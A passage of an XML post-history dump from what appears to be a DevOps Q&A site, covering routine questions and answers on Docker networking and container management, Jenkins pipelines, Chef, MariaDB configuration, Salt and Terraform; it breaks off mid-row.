  <row Id="19678" PostHistoryTypeId="3" PostId="6149" RevisionGUID="356b2aee-7830-4e25-8fc1-2b5a9170d896" CreationDate="2019-01-29T17:18:18.603" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19679" PostHistoryTypeId="2" PostId="6150" RevisionGUID="b07800fd-d38c-47ec-85a9-7990e5eabddf" CreationDate="2019-01-29T17:24:22.493" UserId="11179" Text="Apparently, this will do want I want: killing all containers _directly_ based on `mariadb` regardless of their tag--and without killing containers having `mariadb` somewhere higher in their ancestor list.&#xD;&#xA;&#xD;&#xA;    sudo docker kill $(&#xD;&#xA;      sudo docker ps --format '{{.ID}} {{.Image}}' | awk '$2 ~ /^mariadb:/ { print $1}'&#xD;&#xA;    )" ContentLicense="CC BY-SA 4.0" />
  <row Id="19680" PostHistoryTypeId="2" PostId="6151" RevisionGUID="3061ff31-669b-4ce8-b35d-c569213836c2" CreationDate="2019-01-29T17:27:35.813" UserId="7646" Text="The ultimate problem I am facing is this:&#xD;&#xA;&#xD;&#xA;    [root@527eb70c04c9 my-service]# ping google.com&#xD;&#xA;    ping: google.com: Name or service not known&#xD;&#xA;&#xD;&#xA;Inside my container, I can't resolve public domains, although the network is defined as not internal:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      my-service-network:&#xD;&#xA;        driver: overlay&#xD;&#xA;        internal: false&#xD;&#xA;        attachable: true&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;            - subnet: 10.0.2.0/24&#xD;&#xA;&#xD;&#xA;As soon as I change my subnet from 10.0.2.0 to 10.0.5.0 (really just &quot;NOT&quot; have it be 10.0.2.0) everything works:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      ess-team-service:&#xD;&#xA;        driver: overlay&#xD;&#xA;        internal: false&#xD;&#xA;        attachable: true&#xD;&#xA;        labels:&#xD;&#xA;          - &quot;group=ess-services&quot;&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;          - subnet: 10.0.5.0/24&#xD;&#xA;&#xD;&#xA;    ping google.com&#xD;&#xA;    PING google.com (172.217.22.14) 56(84) bytes of data.&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=1 ttl=61 time=25.0 ms&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=2 ttl=61 time=22.7 ms&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=3 ttl=61 time=22.5 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- google.com ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 received, 0% packet loss, time 2002ms&#xD;&#xA;    rtt min/avg/max/mdev = 22.575/23.462/25.083/1.161 ms&#xD;&#xA;&#xD;&#xA;A colleague referred to the problem as being caused because Docker's own nameserver is on 10.0.2.0 but I can't find information to back this theory up let alone confirm it.&#xD;&#xA;&#xD;&#xA;The main problem is: Sometimes it works!!! Most times it doesn't but sometimes I can ping google inside the container while the subnet IS 10.0.2.0&#xD;&#xA;&#xD;&#xA;Maybe an experienced Docker guru has some insight for me." ContentLicense="CC BY-SA 4.0" />
  <row Id="19681" PostHistoryTypeId="1" PostId="6151" RevisionGUID="3061ff31-669b-4ce8-b35d-c569213836c2" CreationDate="2019-01-29T17:27:35.813" UserId="7646" Text="Docker Containers fails to DNS resolve on subnet 10.0.2.0/24" ContentLicense="CC BY-SA 4.0" />
  <row Id="19682" PostHistoryTypeId="3" PostId="6151" RevisionGUID="3061ff31-669b-4ce8-b35d-c569213836c2" CreationDate="2019-01-29T17:27:35.813" UserId="7646" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19683" PostHistoryTypeId="2" PostId="6152" RevisionGUID="c22bc8ed-d6be-4ab5-8550-962fce1129bb" CreationDate="2019-01-29T17:29:57.740" UserId="12104" Text="The easiest approach does appear to be to use `gcloud`, as trying to get a kubeconfig without it proved tricky.&#xD;&#xA;&#xD;&#xA;Fortunately, `gcloud`, `kubectl` and `helm` are available as a single docker image `kiwigrid/gcloud-kubectl-helm`. For example:&#xD;&#xA;&#xD;&#xA;    docker run -it --rm --volume ./gcp-key-file.json:/data/gcp-key-file.json:ro kiwigrid/gcloud-kubectl-helm:2.11.0-224.0.0 bash&#xD;&#xA;    gcloud auth activate-service-account --key-file=/data/gcp-key-file.json&#xD;&#xA;    gcloud container clusters get-credentials dev-cluster --project &lt;project name&gt; --zone &lt;zone&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19684" PostHistoryTypeId="2" PostId="6153" RevisionGUID="f2f8f26a-b248-4dc3-a0db-7f44a64ab9b8" CreationDate="2019-01-29T19:01:24.393" UserId="7646" Text="So, assuming Docker and Jenkins are set as stated, I would say your approach covers it: Build Jar in one container, grab the Jar and build an image with it, then build containers from that image for your environments.&#xD;&#xA;&#xD;&#xA;For some thoughts on how to set it up:&#xD;&#xA;&#xD;&#xA;Have a Docker Host (or swarm) running and start a Jenkins service on it. This is a compose file that I have running:&#xD;&#xA;&#xD;&#xA;    version: '3.7'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      jenkins-local:&#xD;&#xA;        user: root&#xD;&#xA;        image: jenkinsci/blueocean&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;          - ../../..:/var/projects&#xD;&#xA;          - ./jenkins_home:/var/jenkins_home&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;9000:8080&quot;&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      jenkins-home:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The important part is the volume where /var/run/docker.sock of the host is mounted to /var/run/docker.sock of the container. This allows Jenkins to access the host's Docker daemon via the Docker socket (make sure &quot;user&quot; is &quot;root&quot;). Find some reading about this here: https://getintodevops.com/blog/the-simple-way-to-run-docker-in-docker-for-ci&#xD;&#xA;&#xD;&#xA;The reason why I'd choose the jenkinsci/&quot;blueocean&quot; image is because it allows for usage of blueocean pipelines. https://jenkins.io/projects/blueocean/&#xD;&#xA;&#xD;&#xA;Within pipelines you write Jenkinsfiles to define your build pipelines:&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('checkout scm') {&#xD;&#xA;            checkout scm&#xD;&#xA;        }&#xD;&#xA;        stage('Build artifact') {&#xD;&#xA;            // Connect to our Nexus Docker repository with the nexus_jenkins_user user credentials managed in Jenkins&#xD;&#xA;            docker.withRegistry('https://registry.swarm', 'nexus_jenkins_user') {&#xD;&#xA;                // Run a Maven builder image and attach it to the nexus network&#xD;&#xA;                // Add a volume to cache the maven-repo in for consecutive runs&#xD;&#xA;                docker.image('registry.swarm/builder/maven:maven-3.3.9').inside('-v maven-repo:/root/.m2 --network=nexus_nexus') {&#xD;&#xA;                    sh 'mvn clean package -Dmaven.test.failure.ignore=true'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('archive artifacts and save test results') {&#xD;&#xA;            archiveArtifacts artifacts: &quot;target/*.jar&quot;, fingerprint: true&#xD;&#xA;            junit 'target/surefire-reports/*.xml'&#xD;&#xA;        }&#xD;&#xA;        stage('Build run container image, push Docker image to nexus') {&#xD;&#xA;            docker.withRegistry('https://registry.swarm', 'nexus_jenkins_user') {&#xD;&#xA;                docker.build(&quot;app/my-service:current&quot;).push()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Since everything happens in Jenkins Workspace, the only important line for the Dockerfile is this one:&#xD;&#xA;&#xD;&#xA;    COPY ./target/my-service-*.jar ./my-service.jar&#xD;&#xA;&#xD;&#xA;    CMD [ &quot;java&quot;, &quot;-Duser.timezone=UTC&quot;, &quot;-jar&quot;, &quot;my-service.jar&quot;]&#xD;&#xA;&#xD;&#xA;This will grab the jar, copy it over and use it for the run command in the image." ContentLicense="CC BY-SA 4.0" />
  <row Id="19685" PostHistoryTypeId="2" PostId="6154" RevisionGUID="db43f34c-1f07-4dbe-b2e7-969d2904756a" CreationDate="2019-01-29T20:59:46.233" UserId="11793" Text="I am creating a recipe that has two resources. The initial VPN IP address is a empty valued string. Upon execution of the first resource, a IP address within the range 10.12.xx.xx is set. Then a second resource is executed with a guard block that checks for the VPN IP. &#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Cookbook:: test_cookbook&#xD;&#xA;    # Recipe:: check-vpn-ip&#xD;&#xA;    #&#xD;&#xA;    # Copyright:: 2019, The Authors, All Rights Reserved.&#xD;&#xA;&#xD;&#xA;    #Getting the IP address using the ruby's Socket class.&#xD;&#xA;&#xD;&#xA;    ip_list = Socket.ip_address_list&#xD;&#xA;    vpn_ip_list = ip_list.select{ |ip| ip.ip_address.match(/^10.12/) }&#xD;&#xA;    !vpn_ip_list.empty? ? ip_addr = vpn_ip_list.first.ip_address : ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;    execute 'manually_start_open_vpn' do&#xD;&#xA;	command &quot;sudo openvpn #{node['openvpn-conf-path']}/#{host}.conf &amp;&quot;&#xD;&#xA;	action :nothing&#xD;&#xA;	only_if {ip_addr.length.eql?(0)}&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    new_ip_list = Socket.ip_address_list&#xD;&#xA;	new_vpn_ip_list = new_ip_list.select{ |ip| &#xD;&#xA;                                       ip.ip_address.match(/^10.12/) }&#xD;&#xA;	!new_vpn_ip_list.empty? ? newvpn_ip_addr = &#xD;&#xA;                    new_vpn_ip_list.first.ip_address : newvpn_ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;    ruby_block 'chat-bot' do&#xD;&#xA;	   block do&#xD;&#xA;			machine_data = {text: &quot;OpenVPN IP not assigned to #{host} &#xD;&#xA;                software_version: 18.4.4 \n This is a test message please &#xD;&#xA;                  ignore @all&quot;}.to_json	&#xD;&#xA;			header = {'Content-Type': 'text/json'}&#xD;&#xA;			http = Net::HTTP.new(google_chat_uri.host, &#xD;&#xA;                       google_chat_uri.port)&#xD;&#xA;			http.use_ssl = true&#xD;&#xA;			request = Net::HTTP::Post.new(google_chat_uri.request_uri, header)&#xD;&#xA;			request.body = machine_data&#xD;&#xA;			response = http.request(request)&#xD;&#xA;	    end	&#xD;&#xA;&#xD;&#xA;       end&#xD;&#xA;	only_if {newvpn_ip_addr.length.eql?(0)}&#xD;&#xA;	action :nothing&#xD;&#xA;    end	&#xD;&#xA;&#xD;&#xA;Since there is no vpn ip address of the range 10.12.xx.xx during compile phase, the value of `ip_addr.length.eql?(0)` is true and the guard block condition in first resource is satisfied and it's executed.&#xD;&#xA;&#xD;&#xA;As the vpn ip has already been assigned, the `newvpn_ip_addr.length.eql?(0)` should be false and the 2nd ruby block should not be executed. But this returns a false value as the code `newvpn_ip_addr` is executed during compile time itself.&#xD;&#xA;&#xD;&#xA;Is there any way to make sure that the value for `newvpn_ip_addr` in the below code is assigned and checked during the execution phase post the execution of first resource?&#xD;&#xA;&#xD;&#xA;        new_ip_list = Socket.ip_address_list&#xD;&#xA;	    new_vpn_ip_list = new_ip_list.select{ |ip| &#xD;&#xA;                                       ip.ip_address.match(/^10.12/) }&#xD;&#xA;	    !new_vpn_ip_list.empty? ? newvpn_ip_addr = &#xD;&#xA;                    new_vpn_ip_list.first.ip_address : newvpn_ip_addr = &quot;&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So that the guard block in 2nd resource is not executed if the expected IP address is not assigned.&#xD;&#xA;`only_if {newvpn_ip_addr.length.eql?(0)}`" ContentLicense="CC BY-SA 4.0" />
  <row Id="19686" PostHistoryTypeId="1" PostId="6154" RevisionGUID="db43f34c-1f07-4dbe-b2e7-969d2904756a" CreationDate="2019-01-29T20:59:46.233" UserId="11793" Text="Chef recipe assigning a value to variable in execution or converge phase" ContentLicense="CC BY-SA 4.0" />
  <row Id="19687" PostHistoryTypeId="3" PostId="6154" RevisionGUID="db43f34c-1f07-4dbe-b2e7-969d2904756a" CreationDate="2019-01-29T20:59:46.233" UserId="11793" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19688" PostHistoryTypeId="5" PostId="6150" RevisionGUID="65ffbbef-7ec2-4407-8cd9-50c17747c03c" CreationDate="2019-01-29T22:28:16.733" UserId="11179" Comment="deleted 12 characters in body" Text="This will do want I want: killing all containers _directly_ based on `mariadb` regardless of their tag--and without killing containers having `mariadb` somewhere higher in their ancestor list.&#xD;&#xA;&#xD;&#xA;    sudo docker kill $(&#xD;&#xA;      sudo docker ps --format '{{.ID}} {{.Image}}' | awk '$2 ~ /^mariadb:/ { print $1}'&#xD;&#xA;    )" ContentLicense="CC BY-SA 4.0" />
  <row Id="19689" PostHistoryTypeId="2" PostId="6155" RevisionGUID="d5bd8700-686f-449f-a4a3-be714ef4dcbf" CreationDate="2019-01-29T23:06:50.810" UserId="11179" Text="In the official MariaDB image, `my.cnf` is configured to read additional configuration files from the `/etc/mysql/conf.d/` and `/etc/mysql/maria.conf.d/` directories:&#xD;&#xA;&#xD;&#xA;    root@bbd24e22be98:/# tail /etc/mysql/my.cnf &#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # * IMPORTANT: Additional settings that can override those from this file!&#xD;&#xA;    #   The files must end with '.cnf', otherwise they'll be ignored.&#xD;&#xA;    #&#xD;&#xA;    !include /etc/mysql/mariadb.cnf&#xD;&#xA;    !includedir /etc/mysql/conf.d/&#xD;&#xA;&#xD;&#xA;    root@bbd24e22be98:/# tail /etc/mysql/mariadb.cnf &#xD;&#xA;    # * Character sets&#xD;&#xA;    # &#xD;&#xA;    # Default is Latin1, if you need UTF-8 set all this (also in client section)&#xD;&#xA;    #&#xD;&#xA;    #character_set_server   = utf8 &#xD;&#xA;    #collation_server       = utf8_general_ci &#xD;&#xA;    # Import all .cnf files from configuration directory&#xD;&#xA;    !includedir /etc/mysql/mariadb.conf.d/&#xD;&#xA;&#xD;&#xA;Based on that, it is quite easy to setup utf8 everywhere by writing a configuration file to override the relevant settings, copying it at the right place from your Dockerfile:&#xD;&#xA;&#xD;&#xA;    $ cat db/utf8.cnf &#xD;&#xA;    [client]&#xD;&#xA;    default-character-set=utf8&#xD;&#xA;    &#xD;&#xA;    [mysql]&#xD;&#xA;    default-character-set=utf8&#xD;&#xA;    &#xD;&#xA;    [mysqld]&#xD;&#xA;    init_connect='SET collation_connection = utf8_unicode_ci'&#xD;&#xA;    init_connect='SET NAMES utf8'&#xD;&#xA;    character-set-server=utf8&#xD;&#xA;    collation-server=utf8_unicode_ci &#xD;&#xA;    skip-character-set-client-handshake&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    $ cat db/Dockerfile &#xD;&#xA;    # Base image&#xD;&#xA;    FROM mariadb:10.4&#xD;&#xA;    &#xD;&#xA;    # utf8 everywhere&#xD;&#xA;    COPY utf8.cnf /etc/mysql/mariadb.conf.d/&#xD;&#xA;    ENV MYSQL_RANDOM_ROOT_PASSWORD=yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I let you compare the output of `show variables` after those changes with the one provided in the question:&#xD;&#xA;&#xD;&#xA;    MariaDB [(none)]&gt; show variables like 'char%'&#xD;&#xA;        -&gt; ;&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;    | Variable_name            | Value                      |&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;    | character_set_client     | utf8                       |&#xD;&#xA;    | character_set_connection | utf8                       |&#xD;&#xA;    | character_set_database   | utf8                       |&#xD;&#xA;    | character_set_filesystem | binary                     |&#xD;&#xA;    | character_set_results    | utf8                       |&#xD;&#xA;    | character_set_server     | utf8                       |&#xD;&#xA;    | character_set_system     | utf8                       |&#xD;&#xA;    | character_sets_dir       | /usr/share/mysql/charsets/ |&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19691" PostHistoryTypeId="2" PostId="6156" RevisionGUID="68c75c00-b956-4fc7-b5b2-b228967c5f12" CreationDate="2019-01-30T07:08:16.910" UserId="10599" Text="Okay the answer to this is that you can set `spec.serviceAccountName` on the `dc` and the secrets are mounted.&#xA;&#xA;Annoyingly the same does not hold true for BuildConfig objects. They have an inconsistently names `spec.serviceAccount`. Setting that doesn’t mount any secrets associated with the `sa`. It also means your build isn’t in image puller into you explicitly set that up. So this configuration option appears pretty useless as at openshift 3.11.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19692" PostHistoryTypeId="5" PostId="6115" RevisionGUID="a4ab3b84-18a3-478a-8a07-e522163a4539" CreationDate="2019-01-30T07:34:41.783" UserId="210" Comment="added 5 characters in body" Text="I have read several Hashicorp Vault tutorials and one of the features that could be used is generating ssh keys for git clone repositories, but that implies that everybody in the company that clones repositories should install vault and an helper like https://github.com/hashicorp/vault-ssh-helper" ContentLicense="CC BY-SA 4.0" />
  <row Id="19693" PostHistoryTypeId="5" PostId="6122" RevisionGUID="4435f738-61f8-429d-bf6a-5c6d56d6e1ce" CreationDate="2019-01-30T08:28:51.557" UserId="12076" Comment="added 202 characters in body" Text="I have a Docker setup for my project with PHP-FPM, Nginx and many other services required by the application, but inside the PHP app I've to check the `init.d/nginx configtest` for new dynamic Vhosts (which are shared by volumes) generated for a tenancy based service. &#xD;&#xA;&#xD;&#xA;The main thing its that I dont want to make a single container with PHP-FPM and Nginx for scalability reasons.&#xD;&#xA;&#xD;&#xA;My idea is to use any Linux package for watch any change on a folder (Vhosts folder in my case) and test and then reload the service.&#xD;&#xA;&#xD;&#xA;Any suggestion?&#xD;&#xA;&#xD;&#xA;**Edit: I've RabbitMQ in one container which is used by the PHP application but now I need to connect it with the Nginx-based container (dont know if there's a CLI or linux native client for this)**" ContentLicense="CC BY-SA 4.0" />
  <row Id="19700" PostHistoryTypeId="2" PostId="6159" RevisionGUID="ed6ce76b-a66f-4d24-9937-f19e51a73857" CreationDate="2019-01-30T12:51:12.313" UserId="12128" Text="Could you kindly help me out with an answer.&#xD;&#xA;&#xD;&#xA;Does AWS Amazon Certificate Manager (ACM CA) (or maybe LetsEncrypt) generate Client certificates for Customer (3rd Party Clients), i.e. the client certificates will be deployed on my third-party customers' laptops? They are staff of third-party organisations; and I need to do mutual client certificate-based TLS/SSL authentication between their laptop/PC browsers and my web-site or service, which will be AWS-hosted.&#xD;&#xA;&#xD;&#xA;If so are are there any associated costs or limitations. Next are there any AWS, LetsEncrypt or other tools to support the Certificate deployment, key rotation on Certificate Expiry, etc.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;JoeBoy" ContentLicense="CC BY-SA 4.0" />
  <row Id="19701" PostHistoryTypeId="1" PostId="6159" RevisionGUID="ed6ce76b-a66f-4d24-9937-f19e51a73857" CreationDate="2019-01-30T12:51:12.313" UserId="12128" Text="Does AWS Amazon Certificate Manager Generate Client certificates for Customer (3rd Party Clients)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19702" PostHistoryTypeId="3" PostId="6159" RevisionGUID="ed6ce76b-a66f-4d24-9937-f19e51a73857" CreationDate="2019-01-30T12:51:12.313" UserId="12128" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19706" PostHistoryTypeId="2" PostId="6161" RevisionGUID="f8a3a0e3-f548-4003-a966-ee20736e3bec" CreationDate="2019-01-30T16:39:39.827" UserId="2845" Text="The &quot;saltey&quot; way of doing this is typically in a map.jinja file. [This one](https://github.com/jdshewey/salt-formula-freeipa/blob/master/freeipa/map.jinja) for example...&#xD;&#xA;&#xD;&#xA;In that, you would:&#xD;&#xA;&#xD;&#xA;    {%- load_yaml as serverlist %}&#xD;&#xA;    #Note that a default list could be provided here&#xD;&#xA;    {%- endload %}&#xD;&#xA;    &#xD;&#xA;    {%- set serverlist2 = salt['grains.filter_by'](serverlist, merge=salt['pillar.get']('pillarname:server_list_de')) %}&#xD;&#xA;    {%- set servers = salt['grains.filter_by'](serverlist2, merge=salt['pillar.get']('pillarname:server_list_uk')) %}&#xD;&#xA;&#xD;&#xA;Then in your sls file you would then put at the top:&#xD;&#xA;&#xD;&#xA;    {%- from &quot;formulaname/map.jinja&quot; import servers with context %}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Servers should then be available to you. I've never tried merging twice though, so give it a try. At a minimum this may give you some direction as the syntax for doing a pillar merge like this may get you what you are looking for.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19707" PostHistoryTypeId="2" PostId="6162" RevisionGUID="10b63734-7ccc-405e-93b6-bcfc0536a700" CreationDate="2019-01-30T16:53:46.247" UserId="12134" Text="I have the following checkout step in my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    checkout([&#xD;&#xA;            scm: [&#xD;&#xA;                $class: &quot;MercurialSCM&quot;,&#xD;&#xA;                source: &quot;ssh://hg@bitbucket.org/xxxxx/${repo}&quot;,&#xD;&#xA;                credentialsId: &quot;jenkins&quot;,&#xD;&#xA;                revision: params[branch] ? params[branch] : &quot;default&quot;,&#xD;&#xA;                subdir: (repo == &quot;f8_root&quot;) ? &quot;&quot; : &quot;aarch64/${repo}&quot;,&#xD;&#xA;                clean: false,&#xD;&#xA;            ],&#xD;&#xA;            poll: true,&#xD;&#xA;    ])&#xD;&#xA;&#xD;&#xA;The argument for `clean` is set to `false`. But, the plugin still seems to issue an `update` with the `--clean` option. From the logs:&#xD;&#xA;&#xD;&#xA;    [Pipeline] checkout&#xD;&#xA;    [f8_fw] $ hg showconfig paths.default&#xD;&#xA;    [f8_fw] $ hg pull --rev feature/test-framework&#xD;&#xA;    pulling from ssh://hg@bitbucket.org/doblesc/f8_fw&#xD;&#xA;    no changes found&#xD;&#xA;    [f8_fw] $ hg update --clean --rev feature/test-framework&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I fix this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19708" PostHistoryTypeId="1" PostId="6162" RevisionGUID="10b63734-7ccc-405e-93b6-bcfc0536a700" CreationDate="2019-01-30T16:53:46.247" UserId="12134" Text="Jenkins: mercurial scm: clean=false is not working as expected" ContentLicense="CC BY-SA 4.0" />
  <row Id="19709" PostHistoryTypeId="3" PostId="6162" RevisionGUID="10b63734-7ccc-405e-93b6-bcfc0536a700" CreationDate="2019-01-30T16:53:46.247" UserId="12134" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19710" PostHistoryTypeId="5" PostId="6162" RevisionGUID="f4bc88c6-2a13-4d09-a2bb-fee28ea36131" CreationDate="2019-01-30T18:00:29.680" UserId="12134" Comment="added 325 characters in body" Text="**EDIT:** It seems as if the MercurialSCM plugin hardcodes the `update` to use the `--clean` option. See [this line][1]. Anyone have any ideas what's the idea?&#xD;&#xA;&#xD;&#xA;I have the following checkout step in my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    checkout([&#xD;&#xA;            scm: [&#xD;&#xA;                $class: &quot;MercurialSCM&quot;,&#xD;&#xA;                source: &quot;ssh://hg@bitbucket.org/xxxxx/${repo}&quot;,&#xD;&#xA;                credentialsId: &quot;jenkins&quot;,&#xD;&#xA;                revision: params[branch] ? params[branch] : &quot;default&quot;,&#xD;&#xA;                subdir: (repo == &quot;f8_root&quot;) ? &quot;&quot; : &quot;aarch64/${repo}&quot;,&#xD;&#xA;                clean: false,&#xD;&#xA;            ],&#xD;&#xA;            poll: true,&#xD;&#xA;    ])&#xD;&#xA;&#xD;&#xA;The argument for `clean` is set to `false`. But, the plugin still seems to issue an `update` with the `--clean` option. From the logs:&#xD;&#xA;&#xD;&#xA;    [Pipeline] checkout&#xD;&#xA;    [f8_fw] $ hg showconfig paths.default&#xD;&#xA;    [f8_fw] $ hg pull --rev feature/test-framework&#xD;&#xA;    pulling from ssh://hg@bitbucket.org/doblesc/f8_fw&#xD;&#xA;    no changes found&#xD;&#xA;    [f8_fw] $ hg update --clean --rev feature/test-framework&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/mercurial-plugin/blob/5c6297af895dddc2eee75647c9d13786226a38fc/src/main/java/hudson/plugins/mercurial/MercurialSCM.java#L728" ContentLicense="CC BY-SA 4.0" />
  <row Id="19711" PostHistoryTypeId="2" PostId="6163" RevisionGUID="8918fece-3c1a-4f25-9bda-e203dc69f091" CreationDate="2019-01-30T18:59:17.420" UserId="6131" Text="Today I am working on building out several custom Terraform Modules. The issue that I am trying to figure out how to work around dependencies within modules. Until TF 0.12 is released we cannot declare a module to be dependent upon another module. So, in this root level main.tf:&#xD;&#xA;&#xD;&#xA;    # ROOT level main.tf&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    # Create NAT Gateway - Associates EIP as well&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    module &quot;vpc_nat_gateway&quot; {&#xD;&#xA;      source            = &quot;./vpc_nat_gateway&quot;&#xD;&#xA;      vpc_id            = &quot;${ module.vpc.id }&quot;&#xD;&#xA;      public_subnet_ids = &quot;${ module.vpc_subnets.public_subnet_ids }&quot;&#xD;&#xA;      private_cidr      = &quot;${ var.private_cidr }&quot;&#xD;&#xA;      common_tags       = &quot;${ local.common_tags }&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    # Create Private Routes&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    module &quot;vpc_private_route&quot; {&#xD;&#xA;      source         = &quot;./vpc_private_route&quot;&#xD;&#xA;      vpc_id.        = &quot;${ module.vpc.id }&quot;&#xD;&#xA;      nat_gateway_id = &quot;${ module.vpc_nat_gateway.nat_gateway_id }&quot;&#xD;&#xA;      common_tags    = &quot;${ local.common_tags }&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # vpc_private_route module - main.tf&#xD;&#xA;    data &quot;aws_nat_gateway&quot; &quot;az1&quot; {&#xD;&#xA;      vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;*NAT GW AZ 1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;aws_nat_gateway&quot; &quot;az2&quot; {&#xD;&#xA;      vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;*NAT GW AZ 2&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The result output is:&#xD;&#xA;&#xD;&#xA;    ------ SNIP -----&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat[1]: Creation complete after 1m50s (ID: nat-02a7f4279cec3a6c8)&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat.0: Still creating... (2m0s elapsed)&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat[0]: Creation complete after 2m0s (ID: nat-0695a12d9c0305e4c)&#xD;&#xA;&#xD;&#xA;        Error: Error applying plan:&#xD;&#xA;&#xD;&#xA;        3 error(s) occurred:&#xD;&#xA;&#xD;&#xA;        * module.vpc_private_route.data.aws_subnet_ids.private: data.aws_subnet_ids.private: no matching subnet found for vpc with id vpc-0b530d1885e74067b&#xD;&#xA;        * module.vpc_private_route.data.aws_nat_gateway.az2: data.aws_nat_gateway.az2: no matching NAT gateway found: {&#xD;&#xA;        Filter: [{&#xD;&#xA;            Name: &quot;vpc-id&quot;,&#xD;&#xA;            Values: [&quot;vpc-0b530d1885e74067b&quot;]&#xD;&#xA;            },{&#xD;&#xA;            Name: &quot;tag:Name&quot;,&#xD;&#xA;            Values: [&quot;*NAT GW AZ 2&quot;]&#xD;&#xA;            }]&#xD;&#xA;        }&#xD;&#xA;        * module.vpc_private_route.data.aws_nat_gateway.az1: data.aws_nat_gateway.az1: no matching NAT gateway found: {&#xD;&#xA;        Filter: [{&#xD;&#xA;            Name: &quot;vpc-id&quot;,&#xD;&#xA;            Values: [&quot;vpc-0b530d1885e74067b&quot;]&#xD;&#xA;            },{&#xD;&#xA;            Name: &quot;tag:Name&quot;,&#xD;&#xA;            Values: [&quot;*NAT GW AZ 1&quot;]&#xD;&#xA;            }]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;As observed in the output the Nat Gateways are created. `Terraform show` output tells us the Filters are correct:&#xD;&#xA;&#xD;&#xA;        module.vpc_nat_gateway.aws_nat_gateway.nat.0:&#xD;&#xA;            id = nat-0695a12d9c0305e4c&#xD;&#xA;            allocation_id = eipalloc-023ca087ad4fb830e&#xD;&#xA;            network_interface_id = eni-015e39fc8d3bc0de3&#xD;&#xA;            private_ip = 172.16.254.16&#xD;&#xA;            public_ip = 18.215.5.116&#xD;&#xA;            subnet_id = subnet-0f2c039e8fd804f30&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Environment = development&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 1&#xD;&#xA;        module.vpc_nat_gateway.aws_nat_gateway.nat.1:&#xD;&#xA;            id = nat-02a7f4279cec3a6c8&#xD;&#xA;            allocation_id = eipalloc-0a95264c2eef26673&#xD;&#xA;            network_interface_id = 